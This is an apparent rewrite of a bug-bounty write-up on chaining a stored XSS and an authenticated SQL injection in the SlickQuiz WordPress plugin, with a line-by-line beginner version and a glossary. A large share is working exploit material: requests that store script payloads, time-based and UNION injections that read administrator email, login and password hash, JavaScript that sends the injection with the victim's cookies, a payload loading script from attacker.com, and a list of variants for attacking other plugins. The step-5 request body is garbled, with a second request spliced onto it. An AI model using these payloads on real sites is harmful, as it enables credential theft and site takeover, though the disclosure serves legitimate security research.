H1-4420: From Quiz to Admin – Chaining Two 0-Days to Compromise An Uber WordPress
The SlickQuiz WordPress plugin stored quiz score fields without encoding, allowing an unauthenticated attacker to inject JavaScript that runs in an admin's browser. The plugin also had an authenticated SQL injection in the id parameter, which the XSS could exploit to steal admin credentials.
Published on rcesecurity.com
by Julien Ahrens | Tuesday, September 10, 2019 | Bug Bounty |
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
During reconnaissance for the HackerOne program H1-4420 (Uber), the researcher came across a WordPress blog running the SlickQuiz plugin. SlickQuiz is a quiz plugin: it lets a site owner publish quizzes, and it can record the scores that visitors submit. Those scores are then shown in a dashboard inside WordPress, on the slickquiz-scores admin page, where an administrator can review who answered what.
The installed version was the latest, [redacted], and there were no publicly disclosed vulnerabilities for it at the time. What caught the researcher's attention was that the plugin had not been tested with the last three major versions of WordPress, which made it a reasonable candidate for source code review. The same approach had already paid off in the previous year's H1-3120 engagement.
The review produced two vulnerabilities, which the researcher named CVE-2019-12517 (Unauthenticated Stored XSS) and CVE-2019-12516 (Authenticated SQL Injection). Chained together, they take an unauthenticated visitor to the WordPress administrator's credentials. Because the disclosed information is sensitive, the article demonstrates everything on a temporarily installed WordPress blog rather than on the production target.
Setup
The demonstration environment is a local WordPress installation reachable at localhost, with SlickQuiz [redacted] installed and at least one quiz present. The requests in the article are sent to /wordpress/wp-admin/admin-ajax.php and /wordpress/wp-admin/admin.php, so the WordPress installation lives under a /wordpress path.
Two roles matter:
- An unauthenticated visitor, who can submit a quiz score.
- A user with access to the SlickQuiz dashboard, who views the stored scores. In a real deployment this is typically an administrator.
The SQL injection half requires an authenticated session, which is why the XSS is needed to make the browser issue the injected requests with the victim's cookies.
Finding it
Stored XSS in the score list
The first finding came from reading php/slickquiz-scores.php, specifically the method generate_score_row() at lines 38-52. The method builds the HTML table row for a stored quiz score by concatenating the database fields directly into the markup:
function generate_score_row( $score )
{
$scoreRow = '';
$scoreRow .= '<tr>';
$scoreRow .= '<td class="table_id">' . $score->id . '</td>';
$scoreRow .= '<td class="table_name">' . $score->name . '</td>';
$scoreRow .= '<td class="table_email">' . $score->email . '</td>';
$scoreRow .= '<td class="table_score">' . $score->score . '</td>';
$scoreRow .= '<td class="table_created">' . $score->createdDate . '</td>';
$scoreRow .= '<td class="table_actions">' . $this->get_score_actions( $score->id ) . '</td>';
$scoreRow .= '</tr>';
return $scoreRow;
}
The values $score->name, $score->email and $score->score are user-controllable, and none of them is encoded before being placed into the row. That gives three injection points in a single score record.
One condition is worth stating explicitly: the plugin option "Save user scores" does not matter. Whether it is disabled (the default) or enabled, the mere presence of a quiz is enough to exploit the issue, because the option only disables or enables the UI elements, not the underlying handling of submitted scores.
SQL injection in the id parameter
The second finding is in the same plugin. Almost whenever the id parameter appears in a request, the plugin is vulnerable to authenticated SQL injection. The researcher confirmed this with three different admin pages, each of which produced a five second delay when given a time-based payload.
Exploitation
Step 1: Store the XSS payloads
A single request to admin-ajax.php is enough to place three XSS payloads into the SlickQuiz backend:
POST /wordpress/wp-admin/admin-ajax.php?_wpnonce=593d9fff35 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 165
DNT: 1
Connection: close
action=save_quiz_score&json={"name":"xss<script>alert(1)</script>","email":"test@localhost<script>alert(2)</script>","score":"<script>alert(3)</script>","quiz_id":1}
The request calls the save_quiz_score action and passes a JSON object as the json parameter. The name, email and score fields each carry a <script> tag, and quiz_id selects the quiz the score belongs to.
As soon as any user with access to the SlickQuiz dashboard visits the user scores, all three payloads fire immediately:

Step 2: Confirm the SQL injection
The plugin is vulnerable to authenticated SQL injection almost whenever the id parameter is present. The researcher used three requests to demonstrate it:
/wp-admin/admin.php?page=slickquiz-scores&id=(select*from(select(sleep(5)))a)
/wp-admin/admin.php?page=slickquiz-edit&id=(select*from(select(sleep(5)))a)
/wp-admin/admin.php?page=slickquiz-preview&id=(select*from(select(sleep(5)))a)
Each payload nests a sleep(5) inside a derived table, so a vulnerable query blocks for five seconds. All three requests caused that five second delay:

Step 3: Read the administrator's credentials
The goal of the SQL injection is the first WordPress user, which is likely to be the administrator: the user's email, login name and hashed password. The researcher built this payload for it:
1337 UNION ALL SELECT NULL,CONCAT(IFNULL(CAST(user_email AS CHAR),0x20),0x3B,IFNULL(CAST(user_login AS CHAR),0x20),0x3B,IFNULL(CAST(user_pass AS CHAR),0x20)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM wordpress.wp_users--
The payload starts with the value 1337 for the original id comparison, then appends a UNION ALL SELECT padded with NULL values. A CONCAT of three values from wordpress.wp_users: the email, the login and the password hash, each cast to CHAR and wrapped in IFNULL so that a NULL becomes a space. The separator between them is 0x3B, a semicolon. The trailing -- comments out the rest of the original query.
The requested data is eventually returned inside an <h2> tag:

Step 4: Trigger the SQL injection from JavaScript
With the payload in hand, the SQL injection can be driven from JavaScript with an XMLHttpRequest:
let url = 'http://localhost/wordpress/wp-admin/admin.php?page=slickquiz-scores&id=';
let payload = '1337 UNION ALL SELECT NULL,CONCAT(IFNULL(CAST(user_email AS CHAR),0x20),0x3B,IFNULL(CAST(user_login AS CHAR),0x20),0x3B,IFNULL(CAST(user_pass AS CHAR),0x20)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM wordpress.wp_users--'
let xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.onreadystatechange = function() {
if (xhr.readyState === XMLHttpRequest.DONE) {
let result = xhr.responseText.match(/(?:<h2>SlickQuiz Scores for ")(.*)(?:"<\/h2>)/);
alert(result[1]);
}
}
xhr.open('GET', url + payload, true);
xhr.send();
The script targets the slickquiz-scores page with the union payload appended to id. The script sets withCredentials = true on the request. When the request completes, the response text is matched against a regular expression that extracts whatever sits between <h2>SlickQuiz Scores for " and "</h2>, and the captured value is shown in an alert.
Step 5: Deliver the script through the stored XSS
The final step changes the XSS payload so that it loads the script from an attacker-controlled host:
POST /wordpress/wp-admin/admin-ajax.php?_wpnonce=593d9fff35 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 165
DNT: 1
Connection: close
action=save_quiz_score&json={"name":"xss","email":"test@localhost<script src='http://www.attacker.com/slickquiz.js'>","score":"1 / 1","quiz_id":1}on=save_quiz_score&json={"name":"xss<script>alert(1)</script>","email":"test@localhost<script src='http://www.attacker.com/slickquiz.js'>","score":"1 / 1","quiz_id":1}
Here the email field carries a <script src='http://www.attacker.com/slickquiz.js'> tag, so the stored XSS loads the JavaScript from the attacker's server instead of running an inline alert. When the dashboard user views the scores, the XSS fires and the alert shows the WordPress credentials:

From that point on, everything is possible, for example sending the data cross-domain with another XMLHttpRequest.
Root cause
There are two separate mistakes.
The stored XSS is an output encoding failure. generate_score_row() concatenates $score->name, $score->email and $score->score into HTML table cells without escaping them, so any markup stored in those fields is rendered as markup when the score list is displayed. The "Save user scores" option does not mitigate this, because it only controls the UI elements and not the storage or rendering of the data.
The SQL injection is a failure to parameterise a query. In php/slickquiz-scores.php, the constructor method at line 20 passes the GET parameter id straight into get_quiz_by_id():
$quiz = $this->get_quiz_by_id( $_GET['id'] );
That method, defined in php/slickquiz-model.php at lines 27-35, interpolates the value directly into the SQL statement:
function get_quiz_by_id( $id )
{
global $wpdb;
$db_name = $wpdb->prefix . 'plugin_slickquiz';
$quizResult = $wpdb->get_row( "SELECT * FROM $db_name WHERE id = $id" );
return $quizResult;
}
Because $id is placed into the query string without casting or preparation, the id parameter is injectable on pages that reach this code path. The researcher describes both issues as obvious ones found during source review.
Impact
An unauthenticated visitor can store script content in a quiz score, and that script runs in the browser of any user who opens the SlickQuiz scores dashboard. Because the SQL injection requires an authenticated session, the XSS is what makes it reachable: the injected script issues the union query with the victim's cookies and reads the first WordPress user's email, login name and password hash. The first user is likely to be the administrator. With those credentials in hand, a full WordPress takeover follows. The researcher notes that from that point everything is possible, including exfiltrating the data cross-domain with another XMLHttpRequest.
The chain depends on a quiz existing on the site and on a privileged user visiting the scores page. The "Save user scores" setting does not affect exploitability.
Fix
The report does not describe a patch or a vendor response.
Variants to test
- Look for plugins that render stored user input in admin tables without escaping. Submit a score, comment or form entry containing a
<script>tag and open the corresponding admin listing. A positive result is the payload executing in the dashboard user's browser. - Check whether plugin settings that appear to disable a feature actually disable the underlying data handling. Toggle the option off, repeat the submission, and see whether the payload still fires when the data is displayed.
- Test every admin page that accepts an
idparameter with a time-based payload such as(select*from(select(sleep(5)))a). A positive result is a consistent delay of the expected length. - Where an injection is confirmed, build a
UNIONpayload against the users table to read email, login and password hash, adjusting the column count to the query. A positive result is the values appearing in the page output. - Chain a stored XSS with an authenticated injection by loading an external script that issues the injected request with
withCredentials = true. A positive result is the extracted data appearing in the alert.
What happened, in plain words
A security researcher was looking around the internet for things to test as part of a bug bounty programme run by Uber on HackerOne, a platform where companies pay people to find flaws in their systems. During that search, which security people call reconnaissance, he found a WordPress blog. WordPress is a very popular system for building websites and blogs, and like a phone it becomes more useful by installing extra pieces called plugins. This blog had a plugin called SlickQuiz installed.
SlickQuiz is a quiz plugin. It lets the owner of a website publish quizzes, and it can record the scores that visitors submit after taking a quiz. Those recorded scores are then shown to the site's staff in a dashboard, which is a private administration area inside WordPress, on a page called slickquiz-scores. There an administrator can look through who answered what.
The installed version was the newest one, [redacted], and nobody had publicly reported a security problem with it. What made the researcher suspicious was a small detail: the plugin had not been tested with the last three major versions of WordPress. In everyday terms, that is like running an old add-on in a much newer phone operating system: it may still work, but nobody has checked that it behaves safely in the new environment. So he decided to read the plugin's source code, the actual instructions that make it work, line by line. He had done the same thing the year before on a different engagement and it had paid off.
Reading the code produced two separate flaws. The researcher gave them official identifiers, which are catalogue numbers for known vulnerabilities: CVE-2019-12517, an unauthenticated stored cross-site scripting (XSS) flaw, and CVE-2019-12516, an authenticated SQL injection flaw. Each one on its own is serious. Joined together, they let a complete stranger who has never logged in end up with the WordPress administrator's login details.
Because the information involved is sensitive, the researcher did not demonstrate any of this on the real Uber blog. Instead he installed his own temporary WordPress blog and showed everything there.
The pieces you need to know first
Before walking through the attack, here are the ideas it relies on, explained from scratch.
- A web request is what your browser sends to a website when you open a page or click a button. It is a short text message with a first line saying what you want (for example
GET /some/page), some extra lines called headers that describe your browser and what it accepts, and sometimes a body with data you are submitting. - A URL parameter is the part of a web address after a question mark, made of name and value pairs joined by
&. Inpage=slickquiz-scores&id=1, the parameterpagehas the valueslickquiz-scoresand the parameteridhas the value1. Websites use these to decide what to show. - A cookie is a small piece of data a website asks your browser to keep and send back with every later request to that site. It is how a site remembers that you are logged in. Think of it as a wristband you get at an event: you show it at the door and you are let in without proving who you are again.
- A nonce is a one-time code that a website puts into a form or request to prove the request really came from its own pages and not from somewhere else. In the requests below it appears as
_wpnonce. - An API is a way for one piece of software to talk to another. WordPress has one called
admin-ajax.php: a single address that many parts of the site send requests to, saying in the body which action they want performed. - JSON is a simple text format for structured data, using curly braces, names in quotes and values.
{"name":"xss","score":"1 / 1"}is JSON. - Cross-site scripting (XSS) is a flaw where a website takes text that a user supplied and puts it into a page without neutralising it, so the browser treats that text as instructions (code) rather than as plain text. If someone submits
<script>alert(1)</script>as their name and the site later shows that name as-is, the browser runs the little program between the script tags. "Stored" XSS means the malicious text is saved in the site's database and runs later, for whoever views it. - SQL is the language used to talk to a database, the place where a website keeps its data in tables. A SQL injection is a flaw where a website builds a database command by gluing user input straight into it, so a clever input can change the meaning of the command, for example by asking the database to also return other tables.
- A hash is the result of scrambling a password with a one-way mathematical function. The site stores the scrambled value, not the password itself. It cannot be turned back into the password directly, but it can be attacked offline.
- A union query is a SQL feature that lets you stick the results of a second query onto the results of the first, as long as both have the same number of columns.
sleep(5)is a SQL instruction that makes the database wait five seconds before answering. Security testers use it to detect injection: if a request that should be instant suddenly takes five seconds, the input probably reached the database as code.XMLHttpRequestis the browser feature that lets JavaScript fetch data from a web address in the background, without reloading the page. It is the mechanism behind most modern interactive websites.withCredentialsis a setting on that feature which tells the browser to attach the user's cookies to the background request. Without it, the request goes out as an anonymous stranger.- A regular expression is a pattern for finding part of a piece of text.
/(?:<h2>SlickQuiz Scores for ")(.*)(?:"<\/h2>)/means: find the text between<h2>SlickQuiz Scores for "and"</h2>and capture whatever is in between.
The setup
The demonstration environment is a WordPress installation on the researcher's own computer, reachable at the address localhost, with SlickQuiz [redacted] installed and at least one quiz created. The requests in the article go to /wordpress/wp-admin/admin-ajax.php and /wordpress/wp-admin/admin.php, so the WordPress installation sits under a /wordpress path on that machine.
Two kinds of people matter in the story:
- An unauthenticated visitor, meaning someone who has not logged in. This person can submit a quiz score.
- A user with access to the SlickQuiz dashboard, who opens the stored scores. In a real site this is typically an administrator.
The SQL injection half of the attack only works for a logged-in user, because the pages it targets are behind the login. That is exactly why the XSS half is needed: it makes the victim's own browser send the injected requests, carrying the victim's cookies along.
Finding the first flaw: stored XSS in the score list
The first finding came from reading a file called php/slickquiz-scores.php, specifically a function named generate_score_row() at lines 38 to 52. A function is a named block of code that does one job; this one's job is to build the HTML table row that displays one stored quiz score. HTML is the language of web pages, and a table row is built from <tr> (the row) and <td> (each cell) tags.
Here is the code:
function generate_score_row( $score )
{
$scoreRow = '';
$scoreRow .= '<tr>';
$scoreRow .= '<td class="table_id">' . $score->id . '</td>';
$scoreRow .= '<td class="table_name">' . $score->name . '</td>';
$scoreRow .= '<td class="table_email">' . $score->email . '</td>';
$scoreRow .= '<td class="table_score">' . $score->score . '</td>';
$scoreRow .= '<td class="table_created">' . $score->createdDate . '</td>';
$scoreRow .= '<td class="table_actions">' . $this->get_score_actions( $score->id ) . '</td>';
$scoreRow .= '</tr>';
return $scoreRow;
}
Line by line:
function generate_score_row( $score )declares the function. It receives one thing,$score, which is one record from the database holding a single quiz submission.$scoreRow = '';starts with an empty piece of text. The dot in the lines below means "append to the end of this text".$scoreRow .= '<tr>';begins the table row.$scoreRow .= '<td class="table_id">' . $score->id . '</td>';opens a cell, drops in the score'sidvalue, and closes the cell. The same pattern repeats forname,email,scoreandcreatedDate.$scoreRow .= '<td class="table_actions">' . $this->get_score_actions( $score->id ) . '</td>';adds a final cell containing action buttons for that score.$scoreRow .= '</tr>';closes the row, andreturn $scoreRow;hands the finished text back to whoever asked for it.
The problem is that $score->name, $score->email and $score->score are values that a visitor supplied when submitting a quiz. None of them is encoded, meaning none is converted so that characters like < and > are shown as harmless text instead of being treated as the start and end of HTML tags. That gives three separate injection points in a single score record.
One condition is worth stating clearly: the plugin option called "Save user scores" does not matter. Whether it is disabled (the default) or enabled, the mere presence of a quiz is enough to exploit the issue, because the option only switches the on-screen elements on or off. It does not change how submitted scores are stored or displayed.
Finding the second flaw: SQL injection in the id parameter
The second finding is in the same plugin. Almost whenever the id parameter appears in a request, the plugin is vulnerable to authenticated SQL injection. The researcher confirmed this on three different admin pages, each of which produced a five second delay when given a time-based payload.
Exploitation, step by step
Step 1: Store the XSS payloads
A single request to admin-ajax.php is enough to place three XSS payloads into the SlickQuiz backend:
POST /wordpress/wp-admin/admin-ajax.php?_wpnonce=593d9fff35 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 165
DNT: 1
Connection: close
action=save_quiz_score&json={"name":"xss<script>alert(1)</script>","email":"test@localhost<script>alert(2)</script>","score":"<script>alert(3)</script>","quiz_id":1}
Line by line:
POST /wordpress/wp-admin/admin-ajax.php?_wpnonce=593d9fff35 HTTP/1.1is the first line of the request.POSTmeans "I am sending data", the path is the WordPress API address,_wpnonce=593d9fff35is the one-time code described earlier, andHTTP/1.1is the version of the request format.Host: localhostsays which machine the request is for. Here it is the researcher's own test machine.User-Agent: ...identifies the browser that sent the request.Accept,Accept-Language,Accept-Encodingtell the server what kinds of response the browser can handle.Content-Type: application/x-www-form-urlencoded; charset=UTF-8says the body is a standard form submission.X-Requested-With: XMLHttpRequestmarks the request as coming from JavaScript in the background rather than a full page load.Content-Length: 165is the size of the body in bytes.DNT: 1is a "do not track" preference, andConnection: closeasks the server to close the connection after answering.- The blank line separates the headers from the body.
- The body is
action=save_quiz_score&json={...}. It tells the API which action to perform,save_quiz_score, and passes a JSON object as thejsonparameter. Inside that object,name,emailandscoreeach carry a<script>tag, andquiz_idselects which quiz the score belongs to.
Why this step: the goal is to get malicious text saved in the database. The plugin saves whatever the visitor submits, so a single ordinary-looking score submission plants three little programs in the site's data.
As soon as any user with access to the SlickQuiz dashboard visits the user scores, all three payloads fire immediately:

Step 2: Confirm the SQL injection
The plugin is vulnerable to authenticated SQL injection almost whenever the id parameter is present. The researcher used three requests to demonstrate it:
/wp-admin/admin.php?page=slickquiz-scores&id=(select*from(select(sleep(5)))a)
/wp-admin/admin.php?page=slickquiz-edit&id=(select*from(select(sleep(5)))a)
/wp-admin/admin.php?page=slickquiz-preview&id=(select*from(select(sleep(5)))a)
Line by line:
- Each line is a URL path with two parameters.
pageselects which admin screen to open: the scores list, the quiz editor, or the quiz preview. id=(select*from(select(sleep(5)))a)is the injected value. Read from the inside out:sleep(5)makes the database wait five seconds;select(sleep(5))turns that wait into a value;select*from(...)awraps it in a derived table, which is a temporary table built on the fly, given the aliasa; and the outerselect*reads from it. The whole thing is a valid value that, when pasted into a database command, forces a five second pause.
Why this step: a delay is a safe, unmistakable signal. If the page normally loads instantly and now takes five seconds, the input must have reached the database as code rather than as a plain number. All three requests caused that five second delay:

Step 3: Read the administrator's credentials
The goal of the SQL injection is the first WordPress user, which is likely to be the administrator: the user's email, login name and hashed password. The researcher built this payload for it:
1337 UNION ALL SELECT NULL,CONCAT(IFNULL(CAST(user_email AS CHAR),0x20),0x3B,IFNULL(CAST(user_login AS CHAR),0x20),0x3B,IFNULL(CAST(user_pass AS CHAR),0x20)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM wordpress.wp_users--
Line by line:
UNION ALL SELECTappends a second set of results to the first. The payload is padded withNULLvalues, which mean "nothing here".:NULLmeans "nothing here", and it fills the columns the attacker does not care about.CONCAT(...)glues several values into one string. The three values areuser_email,user_loginanduser_passfrom thewordpress.wp_userstable, which is where WordPress keeps its user accounts.CAST(user_email AS CHAR)converts each value to text, and0x3Bis the hexadecimal code for a semicolon, used as a separator between the three values.- The trailing
--starts a SQL comment, which tells the database to ignore the rest of the original query. That is what stops the leftover code from breaking the injected command.
Why this step: the point of the injection is not to break the site but to read data the attacker should never see. The users table is the prize, because it holds everything needed to log in as the administrator.
The requested data is eventually returned inside an <h2> tag:

Step 4: Trigger the SQL injection from JavaScript
With the payload in hand, the SQL injection can be driven from JavaScript with an XMLHttpRequest:
let url = 'http://localhost/wordpress/wp-admin/admin.php?page=slickquiz-scores&id=';
let payload = '1337 UNION ALL SELECT NULL,CONCAT(IFNULL(CAST(user_email AS CHAR),0x20),0x3B,IFNULL(CAST(user_login AS CHAR),0x20),0x3B,IFNULL(CAST(user_pass AS CHAR),0x20)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM wordpress.wp_users--'
let xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.onreadystatechange = function() {
if (xhr.readyState === XMLHttpRequest.DONE) {
let result = xhr.responseText.match(/(?:<h2>SlickQuiz Scores for ")(.*)(?:"<\/h2>)/);
alert(result[1]);
}
}
xhr.open('GET', url + payload, true);
xhr.send();
Line by line:
let url = ...stores the address of the scores page, ending withid=so the payload can be appended.let payload = ...stores the union query from the previous step.let xhr = new XMLHttpRequest();creates the background request object.xhr.withCredentials = true;sets the credentials flag on the request.xhr.onreadystatechange = function() { ... }sets up a function to run whenever the request's state changes.if (xhr.readyState === XMLHttpRequest.DONE)checks whether the request has finished.let result = xhr.responseText.match(...)searches the returned page for the pattern between<h2>SlickQuiz Scores for "and"</h2>, and captures whatever is in between.alert(result[1]);shows the captured text in a pop-up box.result[1]means the first captured group.xhr.open('GET', url + payload, true);prepares aGETrequest to the scores page with the payload glued onto the end of the address. The finaltruemeans "do this in the background".xhr.send();actually sends it.
Why this step: the SQL injection needs a logged-in browser to work. Writing it as JavaScript means it can be delivered to the victim's browser and run there, using the victim's own session.
Step 5: Deliver the script through the stored XSS
The final step changes the XSS payload so that it loads the script from an attacker-controlled host:
POST /wordpress/wp-admin/admin-ajax.php?_wpnonce=593d9fff35 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 165
DNT: 1
Connection: close
action=save_quiz_score&json={"name":"xss","email":"test@localhost<script src='http://www.attacker.com/slickquiz.js'>","score":"1 / 1","quiz_id":1}on=save_quiz_score&json={"name":"xss<script>alert(1)</script>","email":"test@localhost<script src='http://www.attacker.com/slickquiz.js'>","score":"1 / 1","quiz_id":1}
Line by line:
- The headers are the same as in step 1, so the request looks like an ordinary score submission.
- In the body, the
emailfield now carries<script src='http://www.attacker.com/slickquiz.js'>. Instead of a tiny inline alert, this tag tells the browser to download and run a JavaScript file from the attacker's server. That file is the script from step 4. - The
nameandscorefields hold harmless-looking values, andquiz_idstill selects the quiz.
Why this step: the stored XSS is the delivery mechanism. The attacker cannot make the administrator visit a page of their choosing, but they can plant content that the administrator will see on a page they already trust. When the dashboard user views the scores, the XSS fires and the alert shows the WordPress credentials:

From that point on, everything is possible, for example sending the data cross-domain with another XMLHttpRequest.
Why the code was broken in the first place
There are two separate mistakes.
The stored XSS is an output encoding failure. generate_score_row() glues $score->name, $score->email and $score->score into HTML table cells without escaping them, so any markup stored in those fields is rendered as markup when the score list is displayed. The "Save user scores" option does not mitigate this, because it only controls the on-screen elements and not the storage or display of the data.
The SQL injection is a failure to parameterise a query. In php/slickquiz-scores.php, the constructor method at line 20 passes the GET parameter id straight into get_quiz_by_id():
$quiz = $this->get_quiz_by_id( $_GET['id'] );
Line by line: $_GET['id'] reads the id value straight out of the URL, and $this->get_quiz_by_id(...) hands it to another function without checking it. A constructor is a special function that runs automatically when an object is created, so this happens as soon as the page loads.
That method, defined in php/slickquiz-model.php at lines 27 to 35, puts the value directly into the SQL statement:
function get_quiz_by_id( $id )
{
global $wpdb;
$db_name = $wpdb->prefix . 'plugin_slickquiz';
$quizResult = $wpdb->get_row( "SELECT * FROM $db_name WHERE id = $id" );
return $quizResult;
}
Line by line:
function get_quiz_by_id( $id )declares a function that takes anid.global $wpdb;brings WordPress's database connection object into scope, so the function can talk to the database.$db_name = $wpdb->prefix . 'plugin_slickquiz';builds the table name, using the site's configured prefix plusplugin_slickquiz.$quizResult = $wpdb->get_row( "SELECT * FROM $db_name WHERE id = $id" );builds a database command by pasting$idinto the text.SELECT * FROM ... WHERE id = ...means "give me the row whose id matches this value". Because$idis pasted in as text, a value like(select*from(select(sleep(5)))a)becomes part of the command instead of being treated as a plain number.return $quizResult;hands the result back.
Because $id is placed into the query string without being cast to a number or prepared in advance, the id parameter is injectable on every page that reaches this code path. The researcher describes both issues as obvious ones found during source review.
What the impact is
An unauthenticated visitor can store script content in a quiz score, and that script runs in the browser of any user who opens the SlickQuiz scores dashboard. Because the SQL injection requires a logged-in session, the XSS is what makes it reachable: the injected script issues the union query with the victim's cookies and reads the first WordPress user's email, login name and password hash. The first user is likely to be the administrator. With those credentials in hand, a full WordPress takeover follows. The researcher notes that from that point everything is possible, including sending the data to another domain with another XMLHttpRequest.
The chain depends on a quiz existing on the site and on a privileged user visiting the scores page. The "Save user scores" setting does not affect whether the attack works.
How it should be fixed
The report does not describe a patch or a vendor response.
Things to try on your own
- Look for plugins that display stored user input in admin tables without escaping it. Submit a score, comment or form entry containing a
<script>tag and open the corresponding admin listing. A positive result is the payload running in the dashboard user's browser. - Check whether plugin settings that appear to disable a feature actually disable the underlying data handling. Switch the option off, repeat the submission, and see whether the payload still fires when the data is displayed.
- Test every admin page that accepts an
idparameter with a time-based payload such as(select*from(select(sleep(5)))a). A positive result is a consistent delay of the expected length. - Where an injection is confirmed, build a
UNIONpayload against the users table to read email, login and password hash, adjusting the column count to the query. A positive result is the values appearing in the page output. - Chain a stored XSS with an authenticated injection by loading an external script that issues the injected request with
withCredentials = true. A positive result is the extracted data appearing in the alert.
Glossary
- API: a defined way for one piece of software to talk to another, usually a fixed address that accepts requests with a named action.
- Administrator: the highest-privilege user account on a WordPress site, able to change settings, install plugins and manage other users.
- Bug bounty programme: a scheme where a company pays independent researchers for reporting security flaws responsibly.
- Constructor: a special function that runs automatically when an object is created.
- Cookie: a small piece of data a site asks the browser to store and send back with later requests, commonly used to remember that you are logged in.
- CVE: a public catalogue number for a known vulnerability, such as CVE-2019-12517.
- Dashboard: the private administration area of a website where staff manage content and settings.
- Database: the organised store where a website keeps its data, usually in tables of rows and columns.
- Derived table: a temporary table built on the fly inside a SQL query, usually given an alias.
- Encoding (output encoding): converting characters so they are displayed as harmless text rather than interpreted as markup or code.
- Escaping: the same idea as encoding, applied to values before they are placed into HTML or a query.
- Hash: the scrambled, one-way result of running a password through a mathematical function; the site stores the hash, not the password.
- HackerOne: a platform where companies run bug bounty programmes and researchers report findings.
- Header: an extra line in a web request or response describing the browser, the content type, or other metadata.
- HTML: the language used to describe the structure of web pages, made of tags such as
<tr>and<td>. - JSON: a text format for structured data using curly braces, quoted names and values.
- Nonce: a one-time code included in a request to prove it came from the site's own pages.
- Parameter: a name and value pair in a URL after the question mark, used by the site to decide what to show.
- Payload: the piece of input crafted to exploit a flaw.
- Plugin: an add-on that extends what a website platform such as WordPress can do.
- Prepared statement: a way of sending a database query where the data is kept separate from the command, so it cannot change the command's meaning.
- Reconnaissance: the information-gathering phase of security testing, looking for interesting targets and technologies.
- Regular expression: a pattern for finding part of a piece of text.
- Request: the message a browser sends to a website asking for a page or an action.
- Session: the state of being logged in, usually represented by a cookie.
- SlickQuiz: a WordPress plugin that publishes quizzes and records visitor scores.
- Source code: the human-readable instructions that make up a piece of software.
- SQL: the language used to query and change data in a database.
- SQL injection: a flaw where user input is pasted into a database command, letting the input change the command's meaning.
- Stored XSS: XSS where the malicious text is saved in the site's database and runs later for whoever views it.
- Time-based injection: a technique that detects injection by measuring how long the server takes to answer, using a deliberate delay.
- Unauthenticated: not logged in.
- Union query: a SQL feature that appends the results of a second query to the first, provided both have the same number of columns.
- URL: the address of a resource on the web, including any parameters after the question mark.
withCredentials: a setting on background browser requests that tells the browser to attach the user's cookies.- WordPress: a widely used system for building websites and blogs, extended through plugins and themes.
XMLHttpRequest: the browser feature that lets JavaScript fetch data from a web address in the background without reloading the page.